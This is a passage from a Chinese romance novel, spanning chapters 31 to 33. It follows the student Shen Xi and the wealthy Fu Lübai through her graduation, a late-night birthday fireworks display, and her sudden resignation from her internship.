傅律白笑了下没说话,只是微垂的眼睑下,看着她的眸子有些深。
饭后,两个人都没事,时间还早便又去看了电影。
大概是沈晞想要证明自己真的很敢,就直接选了旁边商场顶层的那家电影院,再也没一点刚进店时左顾右盼鬼鬼祟祟的样子。
只不过他们这个时间有些不太凑巧,只剩下了一场爱情片和一部《熊出没》,这个和傅律白气质实在是太不搭,一想到他们两个人坐在全是家长带着小孩的院厅里看着《熊出没》怎么想都怎么觉得画面诡异。
“这个可以么?只剩这个了。”沈晞指着那部爱情片问。
傅律白点点头,眼中还闪过“为什么不可以”的神态。
沈晞莫名的被他这个眼神激到,咬咬牙,痛快的订了,“行。”
在看票前,傅律白直接拿出了自己的手机给她,大概是没有出去让女孩花钱的习惯,沈晞也没客气的直接接了。
随便选的片子,但是他们的运气不算错,至少内容还行,甚至同场的女孩里有一大半在结束时都哭了,但相比于他身旁这个,便反应平平,没什么情绪,甚至眉梢微挑带着几分不屑。
她长相本是乖乖纯欲型,可是这样没什么表情的眉梢微挑下,就带上了几分艳丽又清冷的攻势,很抓人眼球。
傅律白有些好奇,“不喜欢看?”
“前半段还行,后半段……”沈晞声音微顿了下,轻哼了下,带着几分鄙夷的嗤笑,满满的批判,“他自认为很爱她,向观众传递的也是足够爱,爱到顶天了,毕竟命都没了嘛。可是他终其一生给了她什么呢?不过是不安与动荡,哦,和那一箱世人眼里价值千金的东西,可是她又不缺那些,要是没有他,女主会过得更好。”
她的声音没有刻意压低,旁边哭的快抽过去的女生听到她这话,红着眼睛看过来,诧异又似乎觉得有几分道理,一时间都不知道是哭还是不哭了。
傅律白看着她的眸色也有几分深,“你是这么想的。”
“对啊,谈恋爱不就图个开心么。”这电影,弄得沈晞的倾诉欲还挺强的,但是说完,对上傅律白的眼睛,又觉得有点不对劲。
跟他聊谈恋爱什么的,干嘛啊……
她微微错开视线,侧身拿起了自己的包,准备起身走,却在这时听到傅律白淡声说了句,“确实。”
是在回应她刚刚那句,她以为他不会再对此做什么评价的,拿包的手顿了下,才转过身来看他。
但人已经站了起来,神色如常看不出什么情绪来,甚至还帮她扶了下椅子。
“……”
出去时,已经傍晚,落到地平线的太阳和晚霞交相辉映,天空留下大片的橘粉,很难得在京市有这样的好天气,沈晞不自觉的仰头,沈晞了口气。
傅律白问她要不要再吃些什么,毕竟时间也已快到了晚饭,不过中午时沈晞吃的很饱,拌着酱汁还吃了半碗米饭,这会儿还不饿,只去买了杯奶茶就当做晚饭。
傅律白一直觉得女孩子的这项技能很厉害,他表妹有时这样做事也时常的不理解,看来这项技能是统一的。
拿着热腾腾的奶茶,这附近大概有个小学,看着几个学生走进来,讨论着自己要喝什么,忽然有点感慨,明明小学好像还是不久前的事,竟然这么快就要毕业,彻底离开学生这个行列。
“傅律白,下周五,你要来参加我的毕业典礼么?”她忽然说。
傅律白眸色微顿了下,带着些遗憾的说:“下周我要出差,怕是来不及。”
“……哦。”没想到他会忽然出差,沈晞轻嘬了口奶茶没说话,可眼尾微垂着,像是蔫了得话。
傅律白忍不住开口,“你家里人不来么?”
沈晞抿了下唇,“我妈妈在我很小的时候就不在了,我……他又后找了一个,我懒得让他们来。”
她说的很坦然,甚至是带着浅笑说的。
却让傅律白不由得心疼,“抱歉。”
沈晞看着他又笑了下,眼中是熟悉的灵动,“就当我们扯平啦。”
傅律白却不由想到那日,别人都是亲属一起来接人回家庆祝,而她只有孤零零一个人的画面,下意识地说:“我让禹开然他们过去。”
“不用了,”沈晞想了想,挺嫌弃的说,“他可太吵了,过去全校人都得知道。”
傅律白看着她还想说些什么,可最终还是什么都没说。
之后两个人便没再联系,沈晞甚至都不知道他是哪号走的。
转眼就到了毕业典礼,沈晞穿着学士服不少人来排着跟她拍照,好像那日她在走廊里为了宁今雨愤愤不平所阴阳怪气说的话,并没有造成什么多大的影响。
每个人都还是满是笑容的,来展现着善意和对她的喜爱。
关晴晴更是带着一众学弟学妹来将她围城一团,怎么拍都拍不够,沈晞又好像回到了那打赢管理学院,硬刚建筑学院热血辉煌的日子,那是她的青春。
青春的路上一直有人在为她摇旗呐喊,关晴晴还夸张的拉了横条幅,拍到最后沈晞实在是又累又热到不行,悄悄溜到了礼堂旁边的大树下乘凉。
据说这棵大树立校时便有,已有百年,枝繁叶茂承载着一代又一代的学子,也足够为她遮挡烈阳,她看着不远处嬉闹的关晴晴们,以及很多很多认识的同学,她觉得,自己应当是开心的,可却怎么也高兴不起来。
忽然间,头顶某处被树叶没有遮挡住的斑驳一凉,她下意识的抬起头,就见本应在出差的人蓦然站在自己身侧,还伸出一只手来,将那处阳光遮挡。
沈晞的眼睛骤然一亮,那些个像是有什么压在心上怎么也搬不走的东西瞬间消失,眼尾弯弯,“你怎么来了?”
31. 第 31 章
傅律白看着面前穿着学士服笑着的人,天气有些热,她的鼻尖上有些微微的细汗,可越发显得她的皮肤白皙无暇晶莹剔透,是不加掩饰的带着感染力的开心。
这么久以来,不是没察觉到自己的不对劲,他对这个姑娘实在是太关注。起初他也只是觉得她很年轻轻盈,这个年轻,不是带有男性凝视的那种,只是单纯的觉得有着这个年纪独有的轻快鲜活,他也很愿意让她在身边,让人有着股死灰复燃的活力。
不会觉得吵,她难得的很有分寸。
直到那日,在游湖时说出的那些话,让他觉得她不仅仅只是个鲜活的小姑娘,很有思想和想法,有的甚至会让他为之一振,到这时他或许也只是对她的欣赏。
可那日,她在宴会上看到自己,觉得被欺骗一样的要哭不哭的用着控诉的眼神看着自己,他的心口一窒是从未有过的燥郁,是和那些外界烦心事让人感觉不一样的。
那几日的失联,他虽然嘴上和心理都说着、也觉得算了,他向来不喜欢勉强,但等禹开然真的将人请来时,心里的那块燥郁就那么被抚平了,等人站在路灯下,看着那黑胶唱片再次愉快的和他笑时,他的心也终于跟着畅快起来。
也就是在那时,他忽然后知后觉的反应过味来,他怕是喜欢上这姑娘了。
但很遗憾,她想要的感情他应该给不了。他给不了她一段、也仅仅只是一段无忧亦无惧纯粹快乐的恋爱,于是及时抽身,跑去了德国。
其实这时回去,并不是一个明智的决定,外面早已被他搅动的风云诡谲,他回去并不安全也容易被敏锐的人提前发现,而让他布得多年的局出现问题。
但他还是回去了。
只不过随着时间的临近,想刻意忽略反而越发的清晰。他回到德国,各方人员组织了各种大型的聚会,他也并未参与,只有城堡中的下属仆人——相处的久了,也早就成了半个家人,在举办了几天的宴席,怕他拒绝,还说着是自己掏的腰包,也就酒水是从他酒窖中拿出来的,希望他不要介意。
他没办法,只能随着他们闹。
可任由再怎么闹,他眼前还是止不住闪现那个灵动的身影,他下意识的轻笑却又没由来的烦躁,拿着杯酒去了阳台,任由里面的人用着各国语言腔调的找着“傅先生又去哪里了。”
德国的五月并不算很热,晚间有风吹来,但也并没有吹走他的燥郁,酒杯虽然拿在手中,却一口都没喝下去,脑子里不停的想着的,是她那日,在知道他不能参加她毕业典礼时的一瞬间失落,虽然被她很快的调整好。
她耷拉着眉眼的样子,就好像是定格一般,又像是诅咒,催促着他。
傅律白闭了闭眼睛,修长白皙的手指捏着酒杯因为用力指尖越发的白。
过了几秒,他睁开眼睛,叫了管家。
已经喝高了正陷入狂欢正满城堡找着傅先生的人们,几乎在傅律白一叫人就听到了,顺着声音拿着酒杯走了过来,脚步有些虚浮但还是行了个优雅的礼节,问着,“傅先生有什么吩咐。”
“帮我调回国内的私人航线。”傅律白声音很清醒,没一点酒后的醉意。
喝迷糊的管家听到这句,骤然清醒了过来,傅先生很少动用私人飞机,一定是出了要紧的事,“先生您是要什么时间的?”
“立刻。”
他说的很肯定,可仔细听,却似乎带着几分急迫。
管家立刻站稳,快速的说了声“是”后便急忙去联系。
傅律白看着群星闪耀的北方方向,有一颗格外的闪耀,希望可以赶得上。
过程也并不顺利,时间太匆忙航线早已被沾满。是管家在透露出是傅先生想用时,才有人特意想卖傅先生的人情退了下来。
一路舟车劳顿,在看到面前人不在蔫巴巴的笑颜时,他又觉得很值。
算了,傅律白在心里和自己说,既然放不下她,不如就在这仅有的时间里,好好跟她相处。
“别人都有人陪,总不好让你一个人。”
“……”沈晞看着他,没有照镜子也知道自己的嘴角不受控制的快要咧到耳根。
恰好有拿着相机巡回拍照,得找谁就拍谁的同学过来,本来沈晞就很受欢迎人气很高,再加上傅律白的气质外形实在是太出众,很难让人不注意到。
走到他们这里时,拿着相机的同学愣了下,又很快说:“茜茜你朋友么?快来看镜头。”
两个人站在一起,沈晞很自然的笑着将头往他那边偏了偏,没控制好距离,直接后脑抵在了他的肩上,也没动,画面就此定格。
校领导不知道怎么听说傅律白来了,急匆匆的过来打招呼,被傅律白避到一旁,快速的聊了两句就结束,不想抢了小姑娘今天的风头,也不想让她临毕业再不自在一把。
青春就这样浩浩荡荡的结束,拍照的人越来越少,直到黄昏暮色,人们开始四散离去,刚刚的热闹就好像一场梦一样,拍照的草坪上甚至连痕迹都没留下。
沈晞垂眸看着,有些怔愣。
傅律白距离毕业已经太久,也想不起那时的心境,但小姑娘看上去似乎有些伤感,“去吃东西?”
问完又觉得,怎么每次哄她好像都只会用吃东西。
“……哦。”其实沈晞还好,算不上伤感,只是有点……不适应,散场的太快了。
但她很快就把注意力放到了傅律白的身上,“你才回来么?”
这样的衬衣在这里,实在是有些热了,所以她猜测着,他应当是在别的地方回来没来得及换。
傅律白不知道她为什么这么问,只轻点了下头。
得到了肯定的答案,沈晞那么一点不适应的情绪也一扫而光,很愉快的问他,“我们去吃什么?”
是临时的决定,傅律白也没想好,“你有什么想吃的么?”
沈晞摇头,知道傅律白不能来参加自己的毕业典礼后,她情绪一直不怎么高涨,而且今天大家都很忙,也没时间约个饭什么的,所以她没考虑过。
“那走吧。”傅律白说。
沈晞问:“去哪里?”
傅律白轻描淡写的说:“总之会让你满意。”
沈晞当然深信不疑,毕竟傅先生神通广大。
在往后漫长的岁月里沈晞回想这段,时光过得飞快,大概是太过安逸舒服,记不清什么细节,可每每回想总面带微笑。
笑完,却又在不经意的那一刻弧度僵住,怅然若失。
那段时间里,他们做的最多的事就是吃吃喝喝玩玩,时间过得飞快,以至于要到了清校了,沈晞才意识到自己行李都没搬。
她匆忙的为自己在公司附近找了间一室一厅的房子,然后又跑回宿舍收拾行李。搬行李这事,她无意提起过一嘴,傅律白也只问什么时候搬,到时候找人来。
但是她拖拖拉拉一直没个准信,这天跑来搬了,傅律白这两天也有事,懒得再打电话给他,自己随便叫了辆货拉拉就搬了。
收拾完,才发现自己还有本书借了没还,那时装模作样想看看结果到现在都没还,她是真的很拖延又懒散,搬宿舍也是。
正为自己头疼,想着等会儿绕过去去图书馆还时,没想到遇到了从系领导办公室出来的郑奇杰,郑奇杰已经保了研这会儿和导师聊完事正打算出去吃饭。
见到她后,又看了眼她身后的架势,了然的神色微暗,“搬宿舍?找好住的地方了么?”
“找好了。”
这个认知让郑奇杰有些高兴,至少她还会留在京市,轻松地问:“入职了?还在之前实习的地方?”
大家都有熟悉的朋友,也都彼此知道些信息。
“没……”
其实已经实习结束,她早就应该想好去留和之后的安排。但她向来拖延惯了,也没什么计划,临时找了个住的地方,也是因为清校没地方住了。
至于,是不是留在锐昇她还真没想过,反正,她不想回绍市,目前也不想离开京市。
见她不欲多说,郑奇杰也不再多问,又扫过她手中拿着的两本书,问:“书还没还?”
“对啊。”沈晞看了眼手中的书,语气中带着几分无语。
郑奇杰自然的接道:“我改天帮你还了吧,省得你跑。”
沈晞感激的说:“那可太谢谢了。”
她也不在好把人放下,自己直接跟着车走,眼见着也快到了校门口,便又跟他走了一段。
“不谢。”郑奇杰接过书,在走出校门,沈晞眼见着就要上车的那一刻,他忽然开口,“以后常联系。”
沈晞愣了下,没做多想的笑了笑,“当然,”又玩笑道:“老同学苟富贵勿相忘啊。”
大概是为了方便收拾行李,她今天穿了件黑色的宽松阔腿裤,上面简单浅灰色修身半袖,头发松松揽起一个马尾,看上去充满着这个年纪应有的轻盈与朝气,和同样的男孩站在一起,有说有笑很有话题。
傅律白手搭在方向盘上,垂眸轻转了下腕上的佛珠,沈晞就要上了那辆货车,那位男同学仍旧在依依惜别般的目送,就在沈晞转身时,他轻按了下喇叭。
很普通的喇叭声,没有任何的不同,如果硬说要有,就是比一般听到的会轻一点,不那么刺耳,带着点克制的礼貌,沈晞几乎下意识回头。
就看到一辆车停在马路的对面,车窗降了下来,隔着零星走过的去外面买饭的同学,她看到了傅律白的那张脸。
她眼睛一亮,直接跑了过来。
“你怎么来啦?”她有些轻喘着趴在他的车边问。
那一幕很震撼,她穿越着人海,带着股蓬勃的生命力,没有任何迟疑的跑向他,将目送她的男孩和叫来的货拉拉丢在身后,看的傅律白心口微震。
“嗯?”见他不说话,沈晞又问了声。
傅律白这才从失神中拉回思绪,感受着心中轻微的少有的震动,反问她,“搬宿舍怎么不叫我?”
“你忙嘛。”她说的堪称善解人意,语气里没带一点的抱怨。
已是六月,她今天忙了一下午,现在又跑过来,鼻尖带着些细汗,傅律白余光轻瞥了下站在她身后远处的小男孩,又将视线聚到了她的身上,“上车。”
说着,副驾的车门已经从里面自动打开。
沈晞下意识地从车头绕过去,坐进了副驾,转头看到手搭在方向盘上的人,才意识到这是第一次见他自己开车,好奇的问:“你怎么自己开的车啊?”
“总不能一直压榨人家田师傅,也偶尔要给人放个假。”傅律白不紧不慢的说。
其实是他不想让田师傅跟着。
“哦,还是个蛮人性化的资本家嘛。”沈晞半拖着调子调侃着。
“比起茜茜,我觉得我一直很人性化,”傅律白睨了她一眼,“至少我会给合作伙伴点余地。”
“……”沈晞想起来了,这是在调侃她那日,和他极限拉扯道歉诚意的事。
后来,傅律白当真展现出了他极高的诚意,和足够的洞察力,也不知道他是怎么发现的,竟然送了她一套很经典的碟片电影,收录了从电影史至今囊获大奖的或是口碑极高的影片,一共九十九部。
她激动又惊讶的问他,是怎么知道的?
她确实很喜欢这些东西,老歌老电影,总觉得有种隔着时空对话的感动,说不清。
傅律白不说只问:“够不够有诚意。”
吊足了人的胃口。
看问不出,沈晞也不再执著,她向来很容易释然,怕把顺序弄乱,只在盒子里拿出一张来看看名字又心喜的放回,又问:“为什么是九十九部?”
傅律白只说:“事不做满,留些余地,才会让人念念不忘。”
也不知是给她话听还是怎么,但确实很有道理。
如果这是一百张满,沈晞或许过很长一段时间就忘了,毕竟满则溢,而现在,无论过去多久她大概都会想起,自己家中有一套九十九部的老碟片。
遗憾总是会让人记忆深刻。
那边的师傅还在等,沈晞给师傅拨了电话过去,说跟着这辆车走,便让傅律白驱动了车子。
傅律白打方向盘,将车子启动时,看了眼马路的对面,探过来看的小男孩还站在那里,而沈晞却忽然又想起他还没回答自己的问题
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,又问了一遍,“你怎么知道我搬宿舍啊?”
车头摆正,向着大路疾驰的同时,傅律白轻挑了下眉也将头转了过来,说:“在公司没见着你,猜的。”
“你去公司啦?”没等人回答,她像个好奇宝宝一样又紧接着问:“那要是我没在学校搬东西怎么办啊?你岂不是白跑了一趟。”
“就当是溜车了。”傅律白不在意的说。
他身上的这股淡淡的松弛真的很迷人。
他开车也很稳,和他人一样,速度不算慢,但却很稳,不会出现急起急刹的情况,就好像一切都早在他的算计掌控之中。
骨节分明的修长手指搭在黑色纯皮的方向盘上,随着微微的用力青筋微起,是说不出的性感,而手腕上的佛珠松松的挂在那,又十足十的禁欲。
偏偏他神色从容又松弛,便将这么反差推到了极致,气质卓然的让人移不开眼睛。
沈晞不自觉的喉咙微微滚动,心想,其实田师傅偶尔休休假也挺好。
-
今天庄姐在和她对接完工作后,又试探的问她,要不要转正。
将沈晞问的愣在了那里,才惊觉时间过得竟然这样快。其实早就可以转了,但上面没人交代吩咐,沈晞自己也没提,她才过来问一下。
沈晞没给明确的回复,只说再想一下。
转正么?就在这里,一直这样下去?
其实也没什么不好不是么?
但她这会儿情绪不算很高涨,也不愿去做决定。
工作时都拖拖拉拉,好在都是些收尾的砸活,没什么正经事,庄姐也没来催。
就这样一直墨迹到了所有人都下班,她也懒得动。
直到手边电话响起,她轻垂了下眼睑,在看到屏幕显示的那一刻,她清了清嗓子,才接通,“外婆~”
“茜茜在干嘛呀。”外婆慈祥柔软的声音从电话那边传来。
“我、”沈晞看了眼漆黑的窗外,“刚下班,正往家走呢。”
外婆愣了下,“没约朋友啊?今天是你生日,吃一点好的,给自己买个蛋糕,你知道你妈妈向来——”
说到一半,外婆像想到什么,忙改了口风,“照顾好自己知道嘛。”
“我知道,”沈晞欢欢喜喜当成什么都没发生过的说,“我回去换身衣服就跟朋友出去,都约好了。”
外婆顿时放心下来,笑着说:“好好好,那你快去,外婆不打扰你了,别迟到。”临挂电话时,外婆还不忘说一句,“生日快乐茜茜。”
沈晞听着电话里的忙音半天没动,也不知过了多久,轻轻揉了揉有些酸涩的眼睛,她知道外婆没说完的那句想说什么——
你知道的,你妈妈向来很重视你的生日。
妈妈还在时,每年生日都会给她过得热热闹闹的,很隆重。
真把她当小公主宠,后来妈妈不在了,她也就渐渐地不再过生日了,或者只是外婆陪着她一起,但外婆也会努力为她将生日过得热闹。
后来出来上学,生日时刚好在学校,就和几个朋友一起过。
不过今年大家各自离散,姜瑶本来说好要和她一起过生日的,但是她家里出了些事,具体怎么她没说,但应该挺严重的,只匆匆道了歉,说之后会给她补过,便急忙挂了电话。
其实,她也没什么太大感觉的,只是在内心的很深处,会觉得这一天傅律白应该会陪着她,虽然她也并没有提前告知今天是她的生日,他好像也没什么义务陪着自己,虽然这段时间,他们几乎都是一起的。
所以她下意识地,就会觉得今天,挺特别的日子,他也应该在。
多不讲道理。
就在她这样想着时,手机忽然有软件推送,是她关注的外网小八卦网,挺有意思的,但今天她没什么心情找乐,想划掉时却无意间点了进去。
然后她便顿了下来,目光不由自主的被新闻上的图片吸引。是个国外很有名的女星,很是甜美可爱,今日却一改往日穿搭,穿着很性感迷人的香槟碎钻深V紧身尾鱼裙,红酒放置手边,在低头优雅的吃着面前被切好的牛排,暖色暗调的灯光从她头顶洒落下来,很有浪漫氛围感,况且她本人又是那样的好看。
可吸引她的,并不是这个画面,而是在照片的角落里,桌子的边缘,一位男士修长优雅的手正举着一杯红酒,那颗颗圆润光泽的佛珠微微露出,为这画面增加了几分沉静与禁欲,将一切的氛围感拉到了顶端。
原来他是去陪别人了。
沈晞怔怔的看着照片,原本酸涩的眼睛越发的发热。
-
黑色奔驰在路上疾驰着,已是深夜,即使在京市路上车辆也减少,得以畅通无阻。
在路过锐昇大楼时,傅律白捏了捏有些疼的额心,今日各姓叔伯们并不好对付,直到现在他得以脱身。他不经意往上一瞥,却见三十三层行政部灯还亮着。
他眉心不着痕迹的微敛,几乎下意识喊了“停车。”
田师傅这会儿已经开出去了两三百米,才将车堪堪停住,差异的回头看向他,“傅先生,什么事?您不舒服么?”
他有注意到傅先生抵了下额。
傅律白摇头,头也未抬的拿出手机,拨了通电话。
电话被拨通,但没人接。
他又看了眼屏幕上的时间,十一点四十二,还没到她平时睡觉的时间。
他的眉心微皱,推开了车门,大步走了下去。
公司里早已没了人,电梯一路直达三十三层,等他走进办公室,却发现办公室空空的,只是开着灯。
傅律白嗤笑了下,觉得自己有些好笑,怎么会有这样的下意识,会觉得她在上面。
正要转身离开时,视线却忽地一顿,只见人就安安静静的趴在桌子上,看不清神色。他心中一紧,大步走了过去,但脚步却很轻。
等走到人面前,他微微弯腰,想要看清她究竟是怎么回事,但人是面冲下,又被胳膊裹着,完全看不出,只能感受到她微弱的、却起伏均匀的呼吸。
“你怎么了?”他轻拍着她的胳膊,没察觉自己的手有些微颤。
32. 第 32 章
沈晞不知道自己怎么就趴着睡着了,听到声音迷迷糊糊睁开了眼,这会儿她意识还有些不清醒,情绪多少停留在睡着前,看到近在咫尺的那张脸,认清是谁后,她看着他几乎下意识地说:“今天是我生日。”
傅律白看着她睡眼朦胧的眼睛,以及语调中的小鼻音,知道她大概只是睡着了,松了口气,可下一秒在听出她语气里无意识的委屈,就连眼尾都微微耷拉下来时,他的心被狠狠戳了下,愣了下,下意识地说:“对不起,我不知道。”
他快速的低头看了眼时间,已经十一点五十了。
“你跟我来。”他说着,就抓起她的胳膊。
沈晞整个人还都不太清醒,几乎下意识地跟着他走。
傅律白脚步很快,是难得的有些急促,下了电梯后,几乎拉着她小跑了起来,沈晞怔怔的看着拉着她跑在她身前半个身子的人,他今天穿的有些正式,是件夏季版浅灰色西装,风吹起他的衣摆,难得的少了些淡然的冷感沉稳。
是在拉着她奔跑。
那种感觉很特别,让人移不开眼睛。
傅律白将她拉到了车边,微喘的对着她说:“等我一下。”
然后他便窜进了车里,沈晞不知道他要干什么,没过半分钟又出来,手中拿着三支烟,有些遗憾的对着她说:“没能提前给你准备蛋糕和礼物,抱歉,礼物明天补上,不能点蜡烛许愿,我给你点三根烟吧,许你三个愿望,我帮你实现,没有时限。”
说着,就将三支烟点燃。
傅律白这句话其实是很有重量的,他几乎手眼通天,他承诺给的实现,除非长生不死,几乎没有不能实现的,比对着蜡烛期待神明要可靠的多。
沈晞看着莹莹烛火下,他清冷俊毅的侧脸,被照的柔和的堪称温柔,素来温淡的眸子比天上星辰还要闪烁,她听到了自己一下又一下敲击耳膜的心跳声,那是提醒她沦陷的声音。
“还没许完?”傅律白看着烟已经快燃尽,而人还直直地望着,似乎还在想。
想的还挺入神。
就在他想,需不需要再重新点上三根,让她接着想时,沈晞忽然看向他说:“我想看烟花。”
“现在?”傅律白愣了下问。
“对,现在。”沈晞点头,仰头望着他,“第一个愿望,我想看烟花。”
傅律白看着她的目光定了定,变得有些深了,他轻笑了下,她大概是不知道这句话的重量,别人求都求不得,她却只想要看烟花就这么简单的小事,就浪费了一次机会。
但他想,三次也只是随口一说,他对她,大概不会有限度。
“走吧。”他冲她微微扬了下头。
这次轮到沈晞惊讶了,“真的可以么?”
毕竟现在都这么晚了,又有什么店是开着的。
“毕竟垮下来海口,总不能当下就食言,总要试试。”
两个人又坐上了车。
还真被傅律白找到了一家店,也不知道他是怎么做到的,只听他给禹开然打了通电话,说要看烟花,沈晞明显的感知到电话那边的人愣了下,大概是诧异大晚上怎么忽然要看起了烟花。
傅律白只微微侧头,看着她轻挑了下眉,看的沈晞脸有些发烫,莫名有种被撩拨感。
而“撩拨”她的人却神色淡淡的从容,他越是这样,她就越是心口发烫。
傅先生确实没有妄言夸大,一个小时后车子开到了一个小山坡,京市市区禁烟,他们到时已遥遥有几辆车子再等。
见他们到,车上也下来了三个人,打开了后备箱,大概只是听说傅先生要烟花,也不知道要多少,只一箱一箱的往下卸。
等卸到第二车时,沈晞看着面前已经数不清的烟花,有些震惊的看着傅律白,“你把整个市的烟花厂的烟花都要来了么?”
傅律白也没想到会弄到这样大,沈晞看着还要在卸第三车,想制止,“差不多行了,可以了。”
傅律白依旧是从容的轻笑,“拿都拿来了,想看总要看的尽兴,我这里可没有什么‘差不多。’”
沈晞第一次对他的身份有了些实质性的认知,也感受到了隐藏在他身上轻易不见的从容的疏狂。
等烟花都摆好后,有人来问傅律白要不要现在点燃。
傅律白看向她,大概问了她什么,她也回答了些什么,但都已经听不清也记不清,只不自觉的看向他。
在黑夜里,似乎眼神都可以变得肆无忌惮。也好像在黑夜里,人变得格外有质感,像是隔着另一个远远地不真实的图层。
烟花在两人面前肆无忌惮的炸起,姹紫嫣红将天空点亮,像是幕布下绽开的花朵,坠落时又如璀璨的流星,沈晞仰着头看着,听着一声声“bangbang——”烟花点燃的声音,她的心也跟着“咚、咚”的响着。
慢慢地她开始不再看烟花,又转头看向身旁的男人,烟花在他身侧上空炸开,变得朦胧而又梦幻,他棱角分明帅气的侧脸在此时也显得那样梦幻而又不真实,也不知这样看来多久,男人忽然转过头来,她甚至都忘记移开自己那炙热的、被人能轻易一眼看穿的视线。
但好在,朦胧而又梦幻的烟光下,也将这份炙热掩盖住,而他也只是看了她一眼,没说什么的往前,沈晞的视线一直跟着他,才发现所有的烟花都已经点完,只剩下最后一个,离他们大概四五米远,傅律白腿长步子大几步走过去,人也带着股矜贵的松弛,而后弯腰亲自为她点燃最后一个烟花。
点完后他走了过来,沈晞的视线完全离不开他,看着他走到自己的面前,笑着对自己说:“茜茜,生日快乐。”
烟花在这一刻炸上天空,在他身后绽放出一朵明亮璀璨紫色的花,亦如他的人生那样璀璨夺目。
在生日结束前最后一分钟许的愿望,傅律白一小时后为她完成。
完成的漂漂亮亮,很美满。
那夜还未睡的人全都停止下了自己正在做的事,抬头去看这场长达一小时的烟花秀,纷纷在朋友圈询问,这是什么活动,每一个烟花漂亮的比早早预案的大型活动还要漂亮。
其实不过是傅先生为了满足一个小姑娘临时起兴的瞎胡闹。
她也忽然间明白,为什么她会觉得今日他应该在,为什么会在发现他去陪别人时,会那样的难过。
沈晞鼻子一酸,忍不住得想要流泪。
她喜欢上他了。
喜欢上了一个永远也不可能的人。
那些个被她一直刻意忽略,甚至自欺欺人的感情,再也掩饰不住的,不留余地的在她面前生生撕开,让她再也无路可逃。
烟花很美,可转瞬即逝,看过,也就该离开了。
-
傅律白确实有些意外她今天生日,没有丝毫的准备,将人送回家回来的路上便想,应该送她点什么。毕业后的第一个生日挺重要的,初次进入成年人的世界那会有很多特殊的标志与意义,更主要的是,是他们认识后的第一个生日,也不知道第二个生日还能不能陪她过。
他想了半个晚上,最后还是想了个最俗气的,时间太赶,也没再管这个时间有些打扰,直接将一通电话拨了出去,电话响了挺长时间才被接通,在听清是他后立刻清醒了过来。
后半夜京市下了一场雨,可见度并不是很好,飞机被迫降到临市后,又马不停开着车将东西送过来,浪费了些时间,所以傅律白去公司时,已经上了近一个小时的班。
不过他反正也只是个挂名,并不在意是不是迟到,只是他要找的人需要按时打卡。
在上电梯的前一秒钟,他发消息,让沈晞来落地窗。
就是她当时说,从这里看出去格外好看那里。
后来这里几乎成了他们在公司见面时,固定的地方。
出了电梯,他率先来到落地窗前,下意识的往下看,阳光在林立的大厦间反着光,照在车水马龙上,将京市的天空都衬的不再那样灰蒙蒙,视野格外的开阔,确实挺好看。
傅律白发现,她是个挺会享受,也挺能发现美好的人。
就跟她本人一样。
也不知道是因为她善于发现美好,才将自己养的格外美好,还是因为内心就足够美好所以才会在一些美好的细节上,格外敏锐。
这样的前因后果是很难分析出先后的,傅律白便也不再费力气。在这看了五分钟行驶的井然有序的车队后,人还没有来,他看了眼手机,也没见到什么回复。
大概是这会儿在忙,没来
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得及看。
这里设计的却是很不错,一旁还有三三两两的长椅和桌子,供人休息,大概设计之初也有人发现这里看外面很不错,所特地设置的。
傅律白坐了过去,这个时间整个公司的闲人大概只他一个,这里没什么人。他简单的回复了几份邮件,处理些海外的事物,一切都在按部就班的推进着,其实需要他再处理的事情已经很少,安静的有些像风雨前的宁静,不过在风雨来临之前,小姑娘的未能赴约显然更让此时的傅先生头疼。
他又看了眼手机,再仍旧没有什么回复时,起了身。
到了行政部门口,每个人都在低头忙着,但沈晞的工位却空着,正想找人问,恰巧庄凡风风火火的从旁边低头走过去。
他将人叫住,“叫一下沈晞。”
庄凡下意识停下来,才发现这里还站着个人,抬头发现是傅律白后一怔,随后表情复杂道:“茜茜她,离职了。”
傅律白的眉心不自觉皱起,像是怀疑自己的耳朵一样,“什么?”
庄凡也觉得奇怪,她才领来新的任务,正打算交代沈晞一下,没想到沈晞先给了她个东西。
她边拿过来,边问这是什么。
沈晞很轻飘飘的说着,离职申请啊。
她立刻问,好端端的离职干什么?
沈晞还是那轻松的语气,实习结束了,可不就离职了嘛。说完,还没什么正形的催她,庄姐你赶紧批,等会你还得干活呢,别耽误你时间。
庄凡顿时抓瞎,说:不是,你离职你怎么不提前说一声啊,我这一堆活呢啊!
“实习生不就是随时离么?”沈晞表情很无辜,又说,当时谁谁说离就离了。大概是看出她实在是有些崩溃,又鼓励道,“我没来之前你也是一个人,加油,你行的庄姐。”
庄凡非常想说,不行,非常不行,用惯了这个下属她再也不能一个人了。
沈晞却已经在旁边非常欠揍的催促,“快点啦,快点签,签完你好安心干活。”
庄凡:???什么倒反天罡。
“那你离职,”庄凡想到了什么,压低了些什么问,“跟上面说好了么?”
沈晞神色如常,对着她单边眨了下眼,一脸“你懂得”的表情说:“人家就是卖个面子,进来搞个实习证明就行了,我走不走得,人家都懒得管,人家日理万机的,这点小事哪还能总打扰人家啊。”
庄凡心说,我看到的可不是这样的!
但沈晞话语间,实在是太正常客气了,就真跟托关系但她本人和人家其实矫情很浅,也不好说上话。
庄凡开始疑惑了,甚至为了乱猜高层私人关系,而感到脊背发紧。
而且,当时将人送进来,是那个副总和她说的,也只旁敲侧击的说这是个关系户,但也别太松懈,该怎么要求就怎么要求,那之后便也没再找过她特意叮嘱过什么。
就连上次沈晞被人陷害,差点出大乱子,上面也是该怎么罚就怎么罚的。
确实实习生离职,只需要她签字就行。
甚至其实……实习生离职,不打申请都没关系。
人家想不来就不来了,打声招呼都是有交有代的懂礼识节。
于是她便不情不愿的,在沈晞没正形笑嘻嘻就像是解放了一样,在离职申请上签了字。
可这会儿,她看着傅律白的表情,头皮顿时发麻,知道自己是大意了,没想到这妮子,临了临了还坑了她一把。
其实沈晞又怎么会坑她,只不过是算准了以傅律白的品行,又怎么会在这种事情上公司不分的责难。
可此时的庄凡不知道,她也只能硬着头皮,内心坚定着当时没特意叮嘱、之后也没特别上心在交代过什么,唯一让她觉得有什么“私情”的也不过是自己不经意间悄悄看到,所以在面上流程上,她是没问题的。
但伴君向来如伴虎,谁会管你是不是面上。
庄凡声音有些发紧的,又说了一遍,“离职了。”
“她有说什么吗?”傅律白眸子有些发深。
“……没。”
西装口袋里的盒子微咯,傅律白的面色也越发的紧。
庄凡悄悄看着面前人的表情,在内心将沈晞骂了个数遍。
33. 第 33 章
“阿嚏——”
沈晞打了个喷嚏,没什么精神的裹在被子里。
门被打开,有人推门进来,看到她这样,“喔”了声,“你干什么呢?跟个一休哥似的,来趟西藏真应景啊。诶诶,你别动啊,我给你拍一张,这张非常行为艺术。”
